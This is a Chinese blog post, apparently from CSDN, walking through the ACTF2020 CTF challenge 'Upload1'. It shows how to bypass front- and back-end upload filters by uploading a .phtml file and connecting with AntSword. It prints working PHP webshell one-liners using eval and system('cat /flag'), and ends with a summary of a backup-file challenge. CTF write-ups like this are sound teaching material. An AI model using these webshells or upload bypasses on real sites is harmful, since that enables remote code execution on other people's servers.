文件上传 [ACTF2020 新生赛]Upload1

打开题目,发现是一道文件上传题目

随便上传个一句话木马上去

发现网站前端有白名单限制,只能上传含有jpg,png,gif的后缀文件

那我们便传个2.jpg的一句话木马上去,bp抓包

我们改成php文件后缀试试,发现重发过去显示Bad file

说明原来不仅在前台校验,后台也做了校验。

而且删除前端验证校验,发现php文件还是不能上传

那我们便上传phtml文件

用以下代码

GIF89a? <script language="php">eval($_REQUEST[1])</script>

删除前端验证后,发现可以上传成功

蚁剑连接即可得到flag

 密码是1

或者我们用下面的代码构造phtml文件

<script language='php'>@eval($_POST['a']);</script>

<script language='php'>system('cat /flag');</script>

上传成功后直接访问路径即可

得到flag

困惑 ????

最开始我想到的做法是先上传htaccess文件,bp修改文件头,上传成功后然后再上传以jpg为文件后缀的一句话木马,蚁剑连接得到flag

上传htaccess文件的时候,因为有前端校验,我们把前端校验删了以后,再bp抓包修改文件头,发现能够成功上传htaccess文件,但是接着上传jpg格式的一句话木马时,却怎么都连不上,换了很多种类的一句话木马都不行

在这里我开始在想,因为我前阵子做的一道文件上传的题目(详情见:文件上传 [GXYCTF2019]BabyUpload1-CSDN博客)也是限制了只能上传图片类型的文件,但是那道题的做法就是上传htaccess文件,bp修改文件头使其上传成功后在传以jpg,png等为文件后缀的一句话木马,蚁剑连接得到flag,这道题我们同样也是限制了只能传图片类型的文件,为什么不能用这样的做法呢?

后面大佬告诉我,是前端验证和前端后端验证共存的两种情况

知识点

  • 什么是前端验证,后端验证 ?

前后台校验,就是前台和后台都需要对某一数据进行合法性校验。根据数据的来源,又可将场景分为用户输入数据校验服务器生成数据校验文件上传校验三种子场景

  • 需要验证的场景有哪些 ?

例,用户注册。用户需要填写一个表单,输入诸如用户名、密码、邮箱、公司等信息,点击提交,完成注册。
其中,这个表单需要验证,可能的验证规则有:

  • 用户名不能有特殊字符,如%¥#@&
  • 邮箱必须符合正确的邮箱格式,如xxx@qq.com
  • 用户名不能重复
  • 密码必须包含数字、小写字母、大写字母、特殊字符,且长度不能少于8位

  • 什么是phtml文件

.phtml文件告诉网络服务器,这些文件是由服务器生成的带有动态内容的html文件,就像浏览器中的.php文件表现一样

因此,在生产用途中,.phtml和.php文件应该没有任何区别。

文章参考wp: [ACTF2020 新生赛]Upload-1_[actf2020 新生赛]upload 1_@木兰%%的博客-CSDN博客

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
鉴于提供的引用内容,\[ACTF2020 新生\]BackupFile 1是一道题目,它涉及到备份文件的寻找和查看。常见的备份文件包括“.git”、“.svn”、“.swp”、“.~”、“.bak”、“.bash_history”、“.bkf”。可以使用dirsearch工具进行目录扫描,找到备份文件的位置。然后访问该链接,下载文件并打开查看。在这个题目中,打开的是一个PHP文件,其中包含了一个弱类型比较的逻辑。通过让key=123进行访问,可以看到flag。\[1\] 源码中的逻辑是,如果存在$_GET\['key'\],则将其赋值给$key。如果$key不是一个数字,则输出"Just num!"。然后将$key转化为整数,并与字符串$str进行比较。如果相等,则输出$flag。否则,输出"Try to find out source file!"。\[2\]\[3\] #### 引用[.reference_title] - *1* [[ACTF2020 新生]BackupFile 1](https://blog.csdn.net/qq_44122254/article/details/125927517)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[ACTF2020 新生]BackupFile1](https://blog.csdn.net/m0_73728268/article/details/129497240)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [BUUCTF-[ACTF2020 新生]BackupFile1](https://blog.csdn.net/qq_46918279/article/details/120619373)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值